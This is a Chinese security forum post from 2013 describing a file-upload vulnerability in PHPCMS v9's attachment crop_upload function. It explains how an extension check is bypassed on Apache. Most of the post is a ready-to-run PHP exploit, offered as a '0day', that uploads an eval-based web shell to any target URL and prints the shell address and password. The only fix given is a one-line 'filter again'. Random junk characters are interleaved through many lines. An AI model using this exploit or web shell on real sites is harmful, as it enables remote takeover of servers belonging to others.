找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2205|回复: 0
打印 上一主题 下一主题

PHPCMS v9 Getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-3-7 13:06:41 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
漏洞类型: 文件上传导致任意代码执行
6 G( z' ]8 g! s; i: x" y
2 p7 P  G1 k1 w, p简要描述:9 C6 I2 u( D5 m  D$ y& D
9 k  G6 ~+ F& l% H1 B& |
phpcms v9 getshell (apache)
/ W& Z$ i$ {7 N详细说明:
9 G  @0 ^9 J; g" \" S& Y0 d5 U- W0 p
漏洞文件:phpcms\modules\attachment\attachments.php% i. x, `( Q9 u: }! }* v, d
1 ?, p5 |2 g2 v. |4 X4 R: {1 C
public function crop_upload() {  (isset($GLOBALS["HTTP_RAW_POST_DATA"])) {  $pic = $GLOBALS["HTTP_RAW_POST_DATA"];  if (isset($_GET['width']) && !empty($_GET['width'])) {  $width = intval($_GET['width']);  }  if (isset($_GET['height']) && !empty($_GET['height'])) {  $height = intval($_GET['height']);  }  if (isset($_GET['file']) && !empty($_GET['file'])) {  $_GET['file'] = str_replace(';','',$_GET['file']);//过滤了分号  if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();//is_image()检测是个关键  if (strpos($_GET['file'], pc_base::load_config('system', 'upload_url'))!==false) {  $file = $_GET['file'];  $basenamebasename = basename($file);//获取带有后缀的文件名  if (strpos($basename, 'thumb_')!==false) {  $file_arr = explode('_', $basename);  $basename = array_pop($file_arr);  }  $new_file = 'thumb_'.$width.'_'.$height.'_'.$basename;  } else {  pc_base::load_sys_class('attachment','',0);  $module = trim($_GET['module']);  $catid = intval($_GET['catid']);  $siteid = $this->get_siteid();  $attachment = new attachment($module, $catid, $siteid);  $uploadedfile['filename'] = basename($_GET['file']);  $uploadedfile['fileext'] = fileext($_GET['file']);  if (in_array($uploadedfile['fileext'], array('jpg', 'gif', 'jpeg', 'png', 'bmp'))) {  $uploadedfile['isimage'] = 1;  }  $file_path = $this->upload_path.date('Y/md/');  pc_base::load_sys_func('dir');  dir_create($file_path);  $new_file = date('Ymdhis').rand(100, 999).'.'.$uploadedfile['fileext'];  $uploadedfile['filepath'] = date('Y/md/').$new_file;  $aid = $attachment->add($uploadedfile);  }  $filepath = date('Y/md/');  file_put_contents($this->upload_path.$filepath.$new_file, $pic);//文件名可控、$pic可控  } else {  return false;  }  echo pc_base::load_config('system', 'upload_url').$filepath.$new_file;  exit;  }  }
. L; Q( T7 G* y% V) \1 L/ b后缀检测:phpcms\modules\attachment\functions\global.func.php
  ~7 G+ h8 k0 u! i0 {4 [
4 t! d! I0 n+ N: |9 }3 q/ R
7 f, Q' F# f2 a3 T* K/ n; m$ n& f" _. `
function is_image($file) {    $ext_arr = array('jpg','gif','png','bmp','jpeg','tiff');    $ext = fileext($file);关键地方    return in_array($ext,$ext_arr) ? $ext_arr :false;   }    Q. O/ w, H  y  ^$ [/ S% q; B
! Z, @( A$ x2 A+ U" `" h
关键函数:& R# U7 T$ a$ A* o0 S: @7 {
" g: ]% s. k+ N) n0 \, X! [
3 J! h5 F0 g' ~6 E! e' r

" Q/ W. ?  F3 m5 ]2 ]( _% cfunction fileext($filename) {  return strtolower(trim(substr(strrchr($filename, '.'), 1, 10))); }  ( T- T/ A. }8 i
3 t' Z. j3 Q8 f/ ~: `/ o1 F8 o3 _
  Fileext函数是对文件后缀名的提取。; |) w7 Q2 e* I  ^* ^* N$ k
根据此函数我们如果上传文件名为ddd.Php.jpg%20%20%20%20%20%20%20Php& Q0 [+ t4 t* C, G
经过此函数提取到的后缀还是jpg,因此正在is_image()函数中后缀检测被绕过了。
) T3 n8 M  y; X, @- @我们回到public function crop_upload() 函数中
' Q! N' H; l$ X8 Xif(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();
. k2 t+ d  k8 t. N: i( O% O在经过了is_image的判断之后又来了个.php的判断,在此程序员使用的是strpos函数
: ?5 H; S8 |$ i; O/ {这个函数是对大小写敏感的函数我们使用.Php就可以直接绕过了。
3 m6 M+ ~" B! c9 Y经过上边的两层的过滤我们的ddd.Php.jpg%20%20%20%20%20%20%20Php后缀依然有效。1 X1 h: |4 k: k5 q  V, H8 t
最后$basename变量的值就为ddd.Php.jpg%20%20%20%20%20%20%20Php 然后使用file_put_contents函数写入到了指定目录。: v" C% G1 h" E2 s- ]# L
看见ddd.Php.jpg%20%20%20%20%20%20%20Php这个后缀,大家应该明白了,它用在apache搭建的服务器上可以被解析。1 q4 G$ _- n* d* x4 H) [: Q
漏洞证明:; ]3 M; @+ O% N. O# M

! r. v9 \; a; W; Jexp:, F5 ~4 w$ L* R* Y

: s  x: Y4 n/ Y8 Z<?php' a2 g6 ^: X1 m- c. @- K
error_reporting(E_ERROR);7 Q8 L4 l* h- G  \
set_time_limit(0);
1 N' n$ @6 {( u- b! ?3 k$pass="ln";
; l- R# u3 m7 a  A% Y3 b- yprint_r('" Q( a' h' n3 x0 G+ u! u
+---------------------------------------------------------------------------+0 J. q" q8 r: i1 h( N
PHPCms V9 GETSHELL 0DAY
' n) d( r. ?  R+ h4 \code by L.N.
  e7 E, N3 R, @, V6 \' s- E
. u0 z; q; ^' }/ ]: Kapache 适用(利用的apache的解析漏洞) // 云安全 www.yunsec.net
7 l5 x3 M5 v* {% t7 U2 |; o7 t+---------------------------------------------------------------------------+
6 K" l( V! r. {+ f$ [+ b');( n9 A; h7 V0 f$ R2 N
if ($argc < 2) {) ?% m2 v+ v' E1 G
print_r('
* T% F3 R, h) Q/ m6 g) k$ C9 u3 l2 f+---------------------------------------------------------------------------+
# e% p& d$ C9 ]" I) \  ~4 MUsage: php '.$argv[0].' url path
% {) c! n3 K: O3 U8 H! Z4 ^  _! X( _8 d) Y
Example:4 z) S8 ?: Z. q# K
1.php '.$argv[0].' lanu.sinaapp.com6 Q, H* R" h( ~( L( p
2.php '.$argv[0].' lanu.sinaapp.com /phpcms
" i5 P$ I9 r& m$ g1 z+---------------------------------------------------------------------------+, T5 R9 n, F+ E: y% c3 _
');$ E# x# q, o& j, p! R
exit;& [$ r5 s9 t0 y
}
+ T6 C9 |1 A* z. w0 [; ?
) o" e( N+ p. w; x5 R+ ~$url = $argv[1];
  z6 [2 z! X/ s+ o0 g! n: S4 U$path = $argv[2];; |( N; u: M, n& U& z
$phpshell = '<?php @eval($_POST[\''.$pass.'\']);?>';. Z% p: X* @3 n$ I  V
$file = '1.thumb_.Php.JPG%20%20%20%20%20%20%20Php';
, ]" ?! z% R3 W1 _+ W% sif($ret=Create_dir($url,$path))
+ u4 {( z1 Y  q1 J$ T6 a, j8 N{
+ J5 g. q  O( w2 I8 B5 s( O//echo $ret;, E' R0 G+ O1 s
$pattern = "|Server:[^,]+?|U";- {6 u( ?4 q. t/ {
preg_match_all($pattern, $ret, $matches);6 ?9 z& E& ]/ i, I9 {" i! d; h3 Y
if($matches[0][0])5 [: X# O' f4 V+ u' H- g
{
2 s3 `. B# p9 }7 aif(strpos($matches[0][0],'Apache') == false)) ~: u$ H. g6 E# \
{+ U# D( H  s6 ^
echo "\n亲!此网站不是apache的网站。\n";exit;; P6 o8 V5 x: [, L9 J
}, v5 e: G" `; n, b' H8 X- r
}
  P8 T9 `8 }3 Q$ret = GetShell($url,$phpshell,$path,$file);* m! I" s# s5 F- h: A0 a% N
$pattern = "|http:\/\/[^,]+?\.,?|U";
- p1 a* m5 b. V& rpreg_match_all($pattern, $ret, $matches);' y0 A0 X# R! f, H- v! Z
if($matches[0][0])
0 P& v% e2 k' C6 l: L{/ Q( A6 z) U, V, y% o
echo "\n".'密码为: '.$pass."\n";1 |& q- A1 n* B2 S1 I& S; M
echo "\r\nurl地址: ".$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;
( Z( v$ H6 Q# V}, c( t9 W! [/ p' l; v
else
. a6 c/ @( S$ W/ l8 o( W7 C{
& k$ Q: n# r+ H$ U$pattern = "|\/uploadfile\/[^,]+?\.,?|U";0 a% M# x- l& l. ^. O& }
preg_match_all($pattern, $ret, $matches);9 e  E5 B# L' N0 `2 H
if($matches[0][0])
, [6 K" \/ o6 B) l$ ^7 J{. V- [$ q& F" G8 \4 O  ^- T
echo "\n".'密码为: '.$pass."\n";. r3 `! W! p" P1 @  ^+ V. F! ~
echo "\r\nurl地址:".'http://'.$url.$path.$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;
/ Y; O/ u4 F# h}
% D  t: k3 ^. p; `6 s' s# aelse
6 F2 ^, Q* }1 n/ d! Q, R{* C9 s, k$ y6 m8 J
echo "\r\n没得到!\n";exit;
' ^! H6 z( O3 p& f. o( t) ?! M2 R7 b}
7 B1 u. {/ _0 @! S  h9 S* u}2 ~! u# l( E2 e
}
# d& x9 \2 K' T$ V0 }
4 ~& I! j- R( X% Q, j: u$ cfunction GetShell($url,$shell,$path,$js)
; F. ]' O0 F6 H$ m{
& {  n% ~8 H0 o$ O) S2 s$content =$shell;
& q' v0 ~+ x+ K$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://".$url.$path."/uploadfile/".$js." HTTP/1.1\r\n";
' q4 j# q/ \6 H$data .= "Host: ".$url."\r\n";
' d& z6 D! M; G, T9 }7 o& d( N$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";' p/ w* I$ f" l) I/ ~; n
$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
$ s' {- K/ a; L8 n/ A9 I$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
0 r) O5 N3 E' B) `8 o! N2 k$data .= "Connection: close\r\n";$ J: ]) H$ I$ \) S# a+ a+ U2 h
$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
1 ^+ P3 N3 ~. ]7 @; g$data .= $content."\r\n";
# s$ G' {5 G8 ?  j; \/ {4 r$ock=fsockopen($url,80);" p* E* {) r& O" g' d# H, C+ Q$ _
if (!$ock)& L4 J$ P, z% R- o8 ?- a* D7 H
{6 R4 Y1 t1 o! \, V3 M
echo "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;
$ m; o- s' M0 S3 b}
2 m" j1 t. o9 {! relse
3 @$ A: P" M: }# K  a{
: a8 p+ d, c( z! |2 z' rfwrite($ock,$data);
+ ]* Q; k3 O2 S: H, K) n( W$resp = '';
& ~1 @- @- r5 t$ n' C) r+ Fwhile (!feof($ock))7 P" ^# Q8 e) t# E- z3 Y/ \
{
" t0 Q: v9 j6 ]6 s) O/ l$resp.=fread($ock, 1024);: C) B5 k9 U" l, c; V
}0 B2 r% q8 f5 G" N
return $resp;( t+ T& Y7 X. q9 Q: V
}
9 g9 W5 t' c8 r9 i1 }3 d' _* o}
6 X9 N" r( ?! Y' j: j" ^& @  H% z) o% E) ?1 u6 O5 u+ u
function Create_dir($url,$path='')% U% |$ C- @. E/ Z1 i
{; `  `; C) p2 Q
$content ='I love you';( z- h3 T; [, Y; [% O
$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://lanu.sinaapp.com/1.jpg HTTP/1.1\r\n";
8 L3 O- x3 N. W$ T( L$data .= "Host: ".$url."\r\n";
3 w" R, s3 G- C8 p# ?( n* ~$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
, D( ^5 H9 J& O" f$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";4 t- a# x7 V. B% M
$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
% D9 W; Y( E: }& W$data .= "Connection: close\r\n";
1 A9 x) z7 V6 |* d$data .= "Content-Length: ".strlen($content)."\r\n\r\n";8 }/ W( h' T$ j5 J+ N$ u" f
$data .= $content."\r\n";; ^  H: P6 ~5 g
$ock=fsockopen($url,80);
) j8 Q- W, X+ F8 @if (!$ock)' P9 K3 [: Y4 n0 t& e# R& I; h
{! E# ]$ _0 \' ?  |
echo "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;, [2 M4 Y9 V0 d: @2 \$ Z
}) w% F' W: {5 v/ R7 A& _
fwrite($ock,$data);) r2 W, N$ Z0 H( s
$resp = '';7 D0 a5 v8 a3 W% ?- j  P
while (!feof($ock))9 ~: K1 ~. Y  ~$ i4 {
{
) ^" f) n8 E, z! {) P. \4 o; @$resp.=fread($ock, 1024);
* T& S% l) I& X6 |}. x" z0 K, m& C' b3 Z/ L0 a! a* j
return $resp;% v( y# j6 M) d/ l
}; ^1 z% o* f. v8 A
?> ) r, i- a& K$ L1 O* `
  n0 R1 ]) Q) d! v6 m! i7 U
修复方案:4 L+ @" z7 {: v- Q0 c' c: A
; D, M+ r2 [' x, I3 S
过滤过滤再过滤4 E. w3 d8 ]$ ]# i
6 G7 J  b( d0 w
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表